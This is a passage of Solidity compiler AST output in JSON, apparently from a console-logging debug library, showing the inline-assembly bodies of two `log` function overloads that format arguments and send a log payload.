ype":"","value":"0xa0"},{"name":"m5","nativeSrc":"69748:2:22","nodeType":"YulIdentifier","src":"69748:2:22"}],"functionName":{"name":"mstore","nativeSrc":"69735:6:22","nodeType":"YulIdentifier","src":"69735:6:22"},"nativeSrc":"69735:16:22","nodeType":"YulFunctionCall","src":"69735:16:22"},"nativeSrc":"69735:16:22","nodeType":"YulExpressionStatement","src":"69735:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35929,"isOffset":false,"isSlot":false,"src":"69603:2:22","valueSize":1},{"declaration":35932,"isOffset":false,"isSlot":false,"src":"69632:2:22","valueSize":1},{"declaration":35935,"isOffset":false,"isSlot":false,"src":"69661:2:22","valueSize":1},{"declaration":35938,"isOffset":false,"isSlot":false,"src":"69690:2:22","valueSize":1},{"declaration":35941,"isOffset":false,"isSlot":false,"src":"69719:2:22","valueSize":1},{"declaration":35944,"isOffset":false,"isSlot":false,"src":"69748:2:22","valueSize":1}],"id":35952,"nodeType":"InlineAssembly","src":"69567:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"68576:3:22","parameters":{"id":35926,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35921,"mutability":"mutable","name":"p0","nameLocation":"68588:2:22","nodeType":"VariableDeclaration","scope":35954,"src":"68580:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35920,"name":"bytes32","nodeType":"ElementaryTypeName","src":"68580:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":35923,"mutability":"mutable","name":"p1","nameLocation":"68597:2:22","nodeType":"VariableDeclaration","scope":35954,"src":"68592:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35922,"name":"bool","nodeType":"ElementaryTypeName","src":"68592:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":35925,"mutability":"mutable","name":"p2","nameLocation":"68606:2:22","nodeType":"VariableDeclaration","scope":35954,"src":"68601:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35924,"name":"bool","nodeType":"ElementaryTypeName","src":"68601:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"68579:30:22"},"returnParameters":{"id":35927,"nodeType":"ParameterList","parameters":[],"src":"68624:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35989,"nodeType":"FunctionDefinition","src":"69773:1206:22","nodes":[],"body":{"id":35988,"nodeType":"Block","src":"69833:1146:22","nodes":[],"statements":[{"assignments":[35964],"declarations":[{"constant":false,"id":35964,"mutability":"mutable","name":"m0","nameLocation":"69851:2:22","nodeType":"VariableDeclaration","scope":35988,"src":"69843:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35963,"name":"bytes32","nodeType":"ElementaryTypeName","src":"69843:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35965,"nodeType":"VariableDeclarationStatement","src":"69843:10:22"},{"assignments":[35967],"declarations":[{"constant":false,"id":35967,"mutability":"mutable","name":"m1","nameLocation":"69871:2:22","nodeType":"VariableDeclaration","scope":35988,"src":"69863:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35966,"name":"bytes32","nodeType":"ElementaryTypeName","src":"69863:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35968,"nodeType":"VariableDeclarationStatement","src":"69863:10:22"},{"assignments":[35970],"declarations":[{"constant":false,"id":35970,"mutability":"mutable","name":"m2","nameLocation":"69891:2:22","nodeType":"VariableDeclaration","scope":35988,"src":"69883:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35969,"name":"bytes32","nodeType":"ElementaryTypeName","src":"69883:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35971,"nodeType":"VariableDeclarationStatement","src":"69883:10:22"},{"assignments":[35973],"declarations":[{"constant":false,"id":35973,"mutability":"mutable","name":"m3","nameLocation":"69911:2:22","nodeType":"VariableDeclaration","scope":35988,"src":"69903:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35972,"name":"bytes32","nodeType":"ElementaryTypeName","src":"69903:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35974,"nodeType":"VariableDeclarationStatement","src":"69903:10:22"},{"assignments":[35976],"declarations":[{"constant":false,"id":35976,"mutability":"mutable","name":"m4","nameLocation":"69931:2:22","nodeType":"VariableDeclaration","scope":35988,"src":"69923:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35975,"name":"bytes32","nodeType":"ElementaryTypeName","src":"69923:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35977,"nodeType":"VariableDeclarationStatement","src":"69923:10:22"},{"assignments":[35979],"declarations":[{"constant":false,"id":35979,"mutability":"mutable","name":"m5","nameLocation":"69951:2:22","nodeType":"VariableDeclaration","scope":35988,"src":"69943:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35978,"name":"bytes32","nodeType":"ElementaryTypeName","src":"69943:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35980,"nodeType":"VariableDeclarationStatement","src":"69943:10:22"},{"AST":{"nativeSrc":"69972:761:22","nodeType":"YulBlock","src":"69972:761:22","statements":[{"body":{"nativeSrc":"70015:313:22","nodeType":"YulBlock","src":"70015:313:22","statements":[{"nativeSrc":"70033:15:22","nodeType":"YulVariableDeclaration","src":"70033:15:22","value":{"kind":"number","nativeSrc":"70047:1:22","nodeType":"YulLiteral","src":"70047:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"70037:6:22","nodeType":"YulTypedName","src":"70037:6:22","type":""}]},{"body":{"nativeSrc":"70118:40:22","nodeType":"YulBlock","src":"70118:40:22","statements":[{"body":{"nativeSrc":"70147:9:22","nodeType":"YulBlock","src":"70147:9:22","statements":[{"nativeSrc":"70149:5:22","nodeType":"YulBreak","src":"70149:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"70135:6:22","nodeType":"YulIdentifier","src":"70135:6:22"},{"name":"w","nativeSrc":"70143:1:22","nodeType":"YulIdentifier","src":"70143:1:22"}],"functionName":{"name":"byte","nativeSrc":"70130:4:22","nodeType":"YulIdentifier","src":"70130:4:22"},"nativeSrc":"70130:15:22","nodeType":"YulFunctionCall","src":"70130:15:22"}],"functionName":{"name":"iszero","nativeSrc":"70123:6:22","nodeType":"YulIdentifier","src":"70123:6:22"},"nativeSrc":"70123:23:22","nodeType":"YulFunctionCall","src":"70123:23:22"},"nativeSrc":"70120:36:22","nodeType":"YulIf","src":"70120:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"70075:6:22","nodeType":"YulIdentifier","src":"70075:6:22"},{"kind":"number","nativeSrc":"70083:4:22","nodeType":"YulLiteral","src":"70083:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"70072:2:22","nodeType":"YulIdentifier","src":"70072:2:22"},"nativeSrc":"70072:16:22","nodeType":"YulFunctionCall","src":"70072:16:22"},"nativeSrc":"70065:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"70089:28:22","nodeType":"YulBlock","src":"70089:28:22","statements":[{"nativeSrc":"70091:24:22","nodeType":"YulAssignment","src":"70091:24:22","value":{"arguments":[{"name":"length","nativeSrc":"70105:6:22","nodeType":"YulIdentifier","src":"70105:6:22"},{"kind":"number","nativeSrc":"70113:1:22","nodeType":"YulLiteral","src":"70113:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"70101:3:22","nodeType":"YulIdentifier","src":"70101:3:22"},"nativeSrc":"70101:14:22","nodeType":"YulFunctionCall","src":"70101:14:22"},"variableNames":[{"name":"length","nativeSrc":"70091:6:22","nodeType":"YulIdentifier","src":"70091:6:22"}]}]},"pre":{"nativeSrc":"70069:2:22","nodeType":"YulBlock","src":"70069:2:22","statements":[]},"src":"70065:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"70182:3:22","nodeType":"YulIdentifier","src":"70182:3:22"},{"name":"length","nativeSrc":"70187:6:22","nodeType":"YulIdentifier","src":"70187:6:22"}],"functionName":{"name":"mstore","nativeSrc":"70175:6:22","nodeType":"YulIdentifier","src":"70175:6:22"},"nativeSrc":"70175:19:22","nodeType":"YulFunctionCall","src":"70175:19:22"},"nativeSrc":"70175:19:22","nodeType":"YulExpressionStatement","src":"70175:19:22"},{"nativeSrc":"70211:37:22","nodeType":"YulVariableDeclaration","src":"70211:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"70228:3:22","nodeType":"YulLiteral","src":"70228:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"70237:1:22","nodeType":"YulLiteral","src":"70237:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"70240:6:22","nodeType":"YulIdentifier","src":"70240:6:22"}],"functionName":{"name":"shl","nativeSrc":"70233:3:22","nodeType":"YulIdentifier","src":"70233:3:22"},"nativeSrc":"70233:14:22","nodeType":"YulFunctionCall","src":"70233:14:22"}],"functionName":{"name":"sub","nativeSrc":"70224:3:22","nodeType":"YulIdentifier","src":"70224:3:22"},"nativeSrc":"70224:24:22","nodeType":"YulFunctionCall","src":"70224:24:22"},"variables":[{"name":"shift","nativeSrc":"70215:5:22","nodeType":"YulTypedName","src":"70215:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"70276:3:22","nodeType":"YulIdentifier","src":"70276:3:22"},{"kind":"number","nativeSrc":"70281:4:22","nodeType":"YulLiteral","src":"70281:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"70272:3:22","nodeType":"YulIdentifier","src":"70272:3:22"},"nativeSrc":"70272:14:22","nodeType":"YulFunctionCall","src":"70272:14:22"},{"arguments":[{"name":"shift","nativeSrc":"70292:5:22","nodeType":"YulIdentifier","src":"70292:5:22"},{"arguments":[{"name":"shift","nativeSrc":"70303:5:22","nodeType":"YulIdentifier","src":"70303:5:22"},{"name":"w","nativeSrc":"70310:1:22","nodeType":"YulIdentifier","src":"70310:1:22"}],"functionName":{"name":"shr","nativeSrc":"70299:3:22","nodeType":"YulIdentifier","src":"70299:3:22"},"nativeSrc":"70299:13:22","nodeType":"YulFunctionCall","src":"70299:13:22"}],"functionName":{"name":"shl","nativeSrc":"70288:3:22","nodeType":"YulIdentifier","src":"70288:3:22"},"nativeSrc":"70288:25:22","nodeType":"YulFunctionCall","src":"70288:25:22"}],"functionName":{"name":"mstore","nativeSrc":"70265:6:22","nodeType":"YulIdentifier","src":"70265:6:22"},"nativeSrc":"70265:49:22","nodeType":"YulFunctionCall","src":"70265:49:22"},"nativeSrc":"70265:49:22","nodeType":"YulExpressionStatement","src":"70265:49:22"}]},"name":"writeString","nativeSrc":"69986:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"70007:3:22","nodeType":"YulTypedName","src":"70007:3:22","type":""},{"name":"w","nativeSrc":"70012:1:22","nodeType":"YulTypedName","src":"70012:1:22","type":""}],"src":"69986:342:22"},{"nativeSrc":"70341:17:22","nodeType":"YulAssignment","src":"70341:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"70353:4:22","nodeType":"YulLiteral","src":"70353:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"70347:5:22","nodeType":"YulIdentifier","src":"70347:5:22"},"nativeSrc":"70347:11:22","nodeType":"YulFunctionCall","src":"70347:11:22"},"variableNames":[{"name":"m0","nativeSrc":"70341:2:22","nodeType":"YulIdentifier","src":"70341:2:22"}]},{"nativeSrc":"70371:17:22","nodeType":"YulAssignment","src":"70371:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"70383:4:22","nodeType":"YulLiteral","src":"70383:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"70377:5:22","nodeType":"YulIdentifier","src":"70377:5:22"},"nativeSrc":"70377:11:22","nodeType":"YulFunctionCall","src":"70377:11:22"},"variableNames":[{"name":"m1","nativeSrc":"70371:2:22","nodeType":"YulIdentifier","src":"70371:2:22"}]},{"nativeSrc":"70401:17:22","nodeType":"YulAssignment","src":"70401:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"70413:4:22","nodeType":"YulLiteral","src":"70413:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"70407:5:22","nodeType":"YulIdentifier","src":"70407:5:22"},"nativeSrc":"70407:11:22","nodeType":"YulFunctionCall","src":"70407:11:22"},"variableNames":[{"name":"m2","nativeSrc":"70401:2:22","nodeType":"YulIdentifier","src":"70401:2:22"}]},{"nativeSrc":"70431:17:22","nodeType":"YulAssignment","src":"70431:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"70443:4:22","nodeType":"YulLiteral","src":"70443:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"70437:5:22","nodeType":"YulIdentifier","src":"70437:5:22"},"nativeSrc":"70437:11:22","nodeType":"YulFunctionCall","src":"70437:11:22"},"variableNames":[{"name":"m3","nativeSrc":"70431:2:22","nodeType":"YulIdentifier","src":"70431:2:22"}]},{"nativeSrc":"70461:17:22","nodeType":"YulAssignment","src":"70461:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"70473:4:22","nodeType":"YulLiteral","src":"70473:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"70467:5:22","nodeType":"YulIdentifier","src":"70467:5:22"},"nativeSrc":"70467:11:22","nodeType":"YulFunctionCall","src":"70467:11:22"},"variableNames":[{"name":"m4","nativeSrc":"70461:2:22","nodeType":"YulIdentifier","src":"70461:2:22"}]},{"nativeSrc":"70491:17:22","nodeType":"YulAssignment","src":"70491:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"70503:4:22","nodeType":"YulLiteral","src":"70503:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"70497:5:22","nodeType":"YulIdentifier","src":"70497:5:22"},"nativeSrc":"70497:11:22","nodeType":"YulFunctionCall","src":"70497:11:22"},"variableNames":[{"name":"m5","nativeSrc":"70491:2:22","nodeType":"YulIdentifier","src":"70491:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"70583:4:22","nodeType":"YulLiteral","src":"70583:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"70589:10:22","nodeType":"YulLiteral","src":"70589:10:22","type":"","value":"0xc95958d6"}],"functionName":{"name":"mstore","nativeSrc":"70576:6:22","nodeType":"YulIdentifier","src":"70576:6:22"},"nativeSrc":"70576:24:22","nodeType":"YulFunctionCall","src":"70576:24:22"},"nativeSrc":"70576:24:22","nodeType":"YulExpressionStatement","src":"70576:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"70620:4:22","nodeType":"YulLiteral","src":"70620:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"70626:4:22","nodeType":"YulLiteral","src":"70626:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"70613:6:22","nodeType":"YulIdentifier","src":"70613:6:22"},"nativeSrc":"70613:18:22","nodeType":"YulFunctionCall","src":"70613:18:22"},"nativeSrc":"70613:18:22","nodeType":"YulExpressionStatement","src":"70613:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"70651:4:22","nodeType":"YulLiteral","src":"70651:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"70657:2:22","nodeType":"YulIdentifier","src":"70657:2:22"}],"functionName":{"name":"mstore","nativeSrc":"70644:6:22","nodeType":"YulIdentifier","src":"70644:6:22"},"nativeSrc":"70644:16:22","nodeType":"YulFunctionCall","src":"70644:16:22"},"nativeSrc":"70644:16:22","nodeType":"YulExpressionStatement","src":"70644:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"70680:4:22","nodeType":"YulLiteral","src":"70680:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"70686:2:22","nodeType":"YulIdentifier","src":"70686:2:22"}],"functionName":{"name":"mstore","nativeSrc":"70673:6:22","nodeType":"YulIdentifier","src":"70673:6:22"},"nativeSrc":"70673:16:22","nodeType":"YulFunctionCall","src":"70673:16:22"},"nativeSrc":"70673:16:22","nodeType":"YulExpressionStatement","src":"70673:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"70714:4:22","nodeType":"YulLiteral","src":"70714:4:22","type":"","value":"0x80"},{"name":"p0","nativeSrc":"70720:2:22","nodeType":"YulIdentifier","src":"70720:2:22"}],"functionName":{"name":"writeString","nativeSrc":"70702:11:22","nodeType":"YulIdentifier","src":"70702:11:22"},"nativeSrc":"70702:21:22","nodeType":"YulFunctionCall","src":"70702:21:22"},"nativeSrc":"70702:21:22","nodeType":"YulExpressionStatement","src":"70702:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35964,"isOffset":false,"isSlot":false,"src":"70341:2:22","valueSize":1},{"declaration":35967,"isOffset":false,"isSlot":false,"src":"70371:2:22","valueSize":1},{"declaration":35970,"isOffset":false,"isSlot":false,"src":"70401:2:22","valueSize":1},{"declaration":35973,"isOffset":false,"isSlot":false,"src":"70431:2:22","valueSize":1},{"declaration":35976,"isOffset":false,"isSlot":false,"src":"70461:2:22","valueSize":1},{"declaration":35979,"isOffset":false,"isSlot":false,"src":"70491:2:22","valueSize":1},{"declaration":35956,"isOffset":false,"isSlot":false,"src":"70720:2:22","valueSize":1},{"declaration":35958,"isOffset":false,"isSlot":false,"src":"70657:2:22","valueSize":1},{"declaration":35960,"isOffset":false,"isSlot":false,"src":"70686:2:22","valueSize":1}],"id":35981,"nodeType":"InlineAssembly","src":"69963:770:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35983,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"70758:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":35984,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"70764:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":35982,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"70742:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35985,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"70742:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35986,"nodeType":"ExpressionStatement","src":"70742:27:22"},{"AST":{"nativeSrc":"70788:185:22","nodeType":"YulBlock","src":"70788:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"70809:4:22","nodeType":"YulLiteral","src":"70809:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"70815:2:22","nodeType":"YulIdentifier","src":"70815:2:22"}],"functionName":{"name":"mstore","nativeSrc":"70802:6:22","nodeType":"YulIdentifier","src":"70802:6:22"},"nativeSrc":"70802:16:22","nodeType":"YulFunctionCall","src":"70802:16:22"},"nativeSrc":"70802:16:22","nodeType":"YulExpressionStatement","src":"70802:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"70838:4:22","nodeType":"YulLiteral","src":"70838:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"70844:2:22","nodeType":"YulIdentifier","src":"70844:2:22"}],"functionName":{"name":"mstore","nativeSrc":"70831:6:22","nodeType":"YulIdentifier","src":"70831:6:22"},"nativeSrc":"70831:16:22","nodeType":"YulFunctionCall","src":"70831:16:22"},"nativeSrc":"70831:16:22","nodeType":"YulExpressionStatement","src":"70831:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"70867:4:22","nodeType":"YulLiteral","src":"70867:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"70873:2:22","nodeType":"YulIdentifier","src":"70873:2:22"}],"functionName":{"name":"mstore","nativeSrc":"70860:6:22","nodeType":"YulIdentifier","src":"70860:6:22"},"nativeSrc":"70860:16:22","nodeType":"YulFunctionCall","src":"70860:16:22"},"nativeSrc":"70860:16:22","nodeType":"YulExpressionStatement","src":"70860:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"70896:4:22","nodeType":"YulLiteral","src":"70896:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"70902:2:22","nodeType":"YulIdentifier","src":"70902:2:22"}],"functionName":{"name":"mstore","nativeSrc":"70889:6:22","nodeType":"YulIdentifier","src":"70889:6:22"},"nativeSrc":"70889:16:22","nodeType":"YulFunctionCall","src":"70889:16:22"},"nativeSrc":"70889:16:22","nodeType":"YulExpressionStatement","src":"70889:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"70925:4:22","nodeType":"YulLiteral","src":"70925:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"70931:2:22","nodeType":"YulIdentifier","src":"70931:2:22"}],"functionName":{"name":"mstore","nativeSrc":"70918:6:22","nodeType":"YulIdentifier","src":"70918:6:22"},"nativeSrc":"70918:16:22","nodeType":"YulFunctionCall","src":"70918:16:22"},"nativeSrc":"70918:16:22","nodeType":"YulExpressionStatement","src":"70918:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"70954:4:22","nodeType":"YulLiteral","src":"70954:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"70960:2:22","nodeType":"YulIdentifier","src":"70960:2:22"}],"functionName":{"name":"mstore","nativeSrc":"70947:6:22","nodeType":"YulIdentifier","src":"70947:6:22"},"nativeSrc":"70947:16:22","nodeType":"YulFunctionCall","src":"70947:16:22"},"nativeSrc":"70947:16:22","nodeType":"YulExpressionStatement","src":"70947:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35964,"isOffset":false,"isSlot":false,"src":"70815:2:22","valueSize":1},{"declaration":35967,"isOffset":false,"isSlot":false,"src":"70844:2:22","valueSize":1},{"declaration":35970,"isOffset":false,"isSlot":false,"src":"70873:2:22","valueSize":1},{"declaration":35973,"isOffset":false,"isSlot":false,"src":"70902:2:22","valueSize":1},{"declaration":35976,"isOffset":false,"isSlot":false,"src":"70931:2:22","valueSize":1},{"declaration":35979,"isOffset":false,"isSlot":false,"src":"70960:2:22","valueSize":1}],"id":35987,"nodeType":"InlineAssembly","src":"70779:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"69782:3:22","parameters":{"id":35961,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35956,"mutability":"mutable","name":"p0","nameLocation":"69794:2:22","nodeType":"VariableDeclaration","scope":35989,"src":"69786:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35955,"name":"bytes32","nodeType":"ElementaryTypeName","src":"69786:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":35958,"mutability":"mutable","name":"p1","nameLocation":"69803:2:22","nodeType":"VariableDeclaration","scope":35989,"src":"69798:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35957,"name":"bool","nodeType":"ElementaryTypeName","src":"69798:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":35960,"mutability":"mutable","name":"p2","nameLocation":"69815:2:22","nodeType":"VariableDeclaration","scope":35989,"src":"69807:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35959,"name":"uint256","nodeType":"ElementaryTypeName","src":"69807:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"69785:33:22"},"returnParameters":{"id":35962,"nodeType":"ParameterList","parameters":[],"src":"69833:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36030,"nodeType":"FunctionDefinition","src":"70985:1399:22","nodes":[],"body":{"id":36029,"nodeType":"Block","src":"71045:1339:22","nodes":[],"statements":[{"assignments":[35999],"declarations":[{"constant":false,"id":35999,"mutability":"mutable","name":"m0","nameLocation":"71063:2:22","nodeType":"VariableDeclaration","scope":36029,"src":"71055:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35998,"name":"bytes32","nodeType":"ElementaryTypeName","src":"71055:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36000,"nodeType":"VariableDeclarationStatement","src":"71055:10:22"},{"assignments":[36002],"declarations":[{"constant":false,"id":36002,"mutability":"mutable","name":"m1","nameLocation":"71083:2:22","nodeType":"VariableDeclaration","scope":36029,"src":"71075:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36001,"name":"bytes32","nodeType":"ElementaryTypeName","src":"71075:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36003,"nodeType":"VariableDeclarationStatement","src":"71075:10:22"},{"assignments":[36005],"declarations":[{"constant":false,"id":36005,"mutability":"mutable","name":"m2","nameLocation":"71103:2:22","nodeType":"VariableDeclaration","scope":36029,"src":"71095:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36004,"name":"bytes32","nodeType":"ElementaryTypeName","src":"71095:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36006,"nodeType":"VariableDeclarationStatement","src":"71095:10:22"},{"assignments":[36008],"declarations":[{"constant":false,"id":36008,"mutability":"mutable","name":"m3","nameLocation":"71123:2:22","nodeType":"VariableDeclaration","scope":36029,"src":"71115:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36007,"name":"bytes32","nodeType":"ElementaryTypeName","src":"71115:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36009,"nodeType":"VariableDeclarationStatement","src":"71115:10:22"},{"assignments":[36011],"declarations":[{"constant":false,"id":36011,"mutability":"mutable","name":"m4","nameLocation":"71143:2:22","nodeType":"VariableDeclaration","scope":36029,"src":"71135:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36010,"name":"bytes32","nodeType":"ElementaryTypeName","src":"71135:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36012,"nodeType":"VariableDeclarationStatement","src":"71135:10:22"},{"assignments":[36014],"declarations":[{"constant":false,"id":36014,"mutability":"mutable","name":"m5","nameLocation":"71163:2:22","nodeType":"VariableDeclaration","scope":36029,"src":"71155:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36013,"name":"bytes32","nodeType":"ElementaryTypeName","src":"71155:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36015,"nodeType":"VariableDeclarationStatement","src":"71155:10:22"},{"assignments":[36017],"declarations":[{"constant":false,"id":36017,"mutability":"mutable","name":"m6","nameLocation":"71183:2:22","nodeType":"VariableDeclaration","scope":36029,"src":"71175:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36016,"name":"bytes32","nodeType":"ElementaryTypeName","src":"71175:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36018,"nodeType":"VariableDeclarationStatement","src":"71175:10:22"},{"assignments":[36020],"declarations":[{"constant":false,"id":36020,"mutability":"mutable","name":"m7","nameLocation":"71203:2:22","nodeType":"VariableDeclaration","scope":36029,"src":"71195:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36019,"name":"bytes32","nodeType":"ElementaryTypeName","src":"71195:7:22","typeDescriptions":{"typeIdentifie